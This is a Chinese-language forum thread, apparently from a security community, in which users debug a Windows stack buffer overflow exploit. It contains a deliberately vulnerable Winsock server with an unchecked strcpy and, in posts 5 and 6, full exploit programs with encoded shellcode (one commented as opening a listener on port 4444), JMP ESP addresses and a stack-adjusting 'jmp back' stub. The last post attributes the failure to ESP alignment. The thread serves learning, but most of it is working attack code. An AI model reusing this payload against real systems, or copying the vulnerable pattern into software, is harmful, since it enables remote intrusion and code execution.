能力值:
( LV2,RANK:10 )
|
-
-
2 楼
把代码贴一下,一调试就知道问题了。
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
打个比喻
ret覆盖成JMP ESP的地址
|
nop................................|ret|shellcode 这种模式就能成功 ret覆盖成JMP ESP的地址
|
nop........shellcode..nop..|ret|Jmp back 这种模式能跳到前面执行到NOP 进而
| | 执行到shellcode,shellcode 却没
| | |
————————————————— |
jmp back 跳到前面的NOP 梯子那里 |
正确执行啊!郁闷中
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
看懂你的意思了,理论上是没有问题的,让你贴下代码是想调试一下,看看内存中数据是否有变化。
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
有问题的服务程序(用DEBUG 编译)
#include "stdafx.h"
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
char Buff[1024];
void overflow(char *s,int size)
{
char s1[600];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
WSACleanup();
return 0;
}
这是exploit:#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"
#include "winsock2.h"
#pragma comment(lib,"Ws2_32")
int sock;
//char jmp_2000esp[]="\x28\x7f\xe7\x77";
char jmp_esp[]="\x8b\x51\x81\x7c";
char buffer[1024];
char jmp_back[]="\xb9\x67\x45\x23\x21\xc1\xe9\x14\x2b\xe1\xff\xe4";
char shellcode[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\x01\x80\x34\x0b\xf8\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\xf8\xf8\xa7\x9c\x59\xc8"
"\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x55\x73\x90\xf0\x73\x0f\x92"
"\xfb\xa1\x10\x61\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f"
"\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\xfd\xa1\x10\x78\xf8\xf8\xf8"
"\x1a\x01\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae"
"\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe8\x73\x20\xcb\x38"
"\xa8\xa8\x90\xfa\xf8\xe9\xa4\x73\x34\x92\xe8\xa9\xab\x07\xae\xec"
"\x92\xf9\xab\x07\xae\xe0\xa8\xa8\xab\x07\xae\xe4\x73\x20\x90\x9b"
"\x95\x9c\xf8\x75\xec\xdc\x7b\x14\xac\x73\x04\x92\xec\xa1\xcb\x38"
"\x71\xfc\x77\x1a\x03\x3e\xbf\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71"
"\xa7\xb0\x71\xa7\xb4\x71\xa7\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9"
"\x92\xf9\xa9\xa9\xaa\xa9\x07\xae\xfc\xcb\x38\xb0\xa8\x07\xae\xf0"
"\xa9\xae\x73\x8d\xc4\x73\x8c\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb"
"\x0d\xcb\x31\xb1\xb9\x55\xfb\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c"
"\xf0\x39\x33\xff\xfb\x22\xb8\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6"
"\xdc\xfb\x25\x9e\x73\xf4\xb3\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb"
"\x3d\x53\xa6\xa1\x3b\x10\xfa\x07\x07\x07\xca\x8c\x69\xf4\x31\x44"
"\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c\xe8"
"\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9";
int main(int argc, char* argv[])
{
memset(buffer,0x90,1024);
memcpy(&buffer[280],shellcode,314);
//memcpy(&buffer[604],jmp_2000esp,4);
memcpy(&buffer[604],jmp_esp,4);
memcpy(&buffer[608],jmp_back,12);
struct sockaddr_in server;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
sock=socket(AF_INET,SOCK_STREAM,0);
server.sin_family=AF_INET;
server.sin_port=htons(3764);
server.sin_addr.s_addr=inet_addr("192.168.129.25");
connect(sock,(struct sockaddr*)&server,sizeof(server));
send(sock,buffer,sizeof(buffer),0);
closesocket(sock);
return 0;
}
这是一JMP BACK方式的 但是不成功 郁闷中~~~~~~~!
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
原因的确比较蹊跷,不过我改了一下jmp_back,倒是跳转成功了,至于原因还没搞明白.
下面是测试代码。
#include "stdio.h"
#include "stdlib.h"
#include "winsock2.h"
#pragma comment(lib,"Ws2_32")
int sock;
//char jmp_2000esp[]="\x28\x7f\xe7\x77";
char jmp_esp[]="\x12\x45\xFa\x7f";
char buffer[1024];
char jmp_back[]="\xb9\x41\x41\x41\x25\xc1\xe9\x14\x2b\xe1\xff\xe4";
char shellcode[]=
//监听4444端口
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\x01\x80\x34\x0b\xf8\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\xf8\xf8\xa7\x9c\x59\xc8"
"\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x55\x73\x90\xf0\x73\x0f\x92"
"\xfb\xa1\x10\x61\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f"
"\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\xfd\xa1\x10\x78\xf8\xf8\xf8"
"\x1a\x01\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae"
"\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe8\x73\x20\xcb\x38"
"\xa8\xa8\x90\xfa\xf8\xe9\xa4\x73\x34\x92\xe8\xa9\xab\x07\xae\xec"
"\x92\xf9\xab\x07\xae\xe0\xa8\xa8\xab\x07\xae\xe4\x73\x20\x90\x9b"
"\x95\x9c\xf8\x75\xec\xdc\x7b\x14\xac\x73\x04\x92\xec\xa1\xcb\x38"
"\x71\xfc\x77\x1a\x03\x3e\xbf\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71"
"\xa7\xb0\x71\xa7\xb4\x71\xa7\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9"
"\x92\xf9\xa9\xa9\xaa\xa9\x07\xae\xfc\xcb\x38\xb0\xa8\x07\xae\xf0"
"\xa9\xae\x73\x8d\xc4\x73\x8c\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb"
"\x0d\xcb\x31\xb1\xb9\x55\xfb\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c"
"\xf0\x39\x33\xff\xfb\x22\xb8\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6"
"\xdc\xfb\x25\x9e\x73\xf4\xb3\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb"
"\x3d\x53\xa6\xa1\x3b\x10\xfa\x07\x07\x07\xca\x8c\x69\xf4\x31\x44"
"\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c\xe8"
"\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9";
int main(int argc, char* argv[])
{
memset(buffer,0x90,1024);
memcpy(&buffer[280],shellcode,314);
//memcpy(&buffer[604],jmp_2000esp,4);
memcpy(&buffer[604],jmp_esp,4);
memcpy(&buffer[608],jmp_back,12);
struct sockaddr_in server;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
sock=socket(AF_INET,SOCK_STREAM,0);
server.sin_family=AF_INET;
server.sin_port=htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sock,(struct sockaddr*)&server,sizeof(server));
send(sock,buffer,sizeof(buffer),0);
closesocket(sock);
return 0;
}
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
呵呵~~~~!没什么以后慢慢的积累够了~!
慢慢会搞明白的~~~!
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
哈哈 搞明白咯~!今天正好在看<The Shellcoder's Handbook>中讲windows shellcode
那章,ws2_32.dll库里的函数需要堆栈以4字节对其。我写的那个JMP BACK把ESP减了0x212个字节,我改成0x214就行了,你的那个JMP BACK 把ESP 减了0x254个字节所以能行~!
我又把shellcode换成MessageBox的,发现ESP减成了不是4字节对齐的就会问题,不过SHELLCODE是执行了并弹出一个对话框不过模糊的连字都看不清,而且不能拖动.
可能API函数要以ESP4字节对齐吧~!
|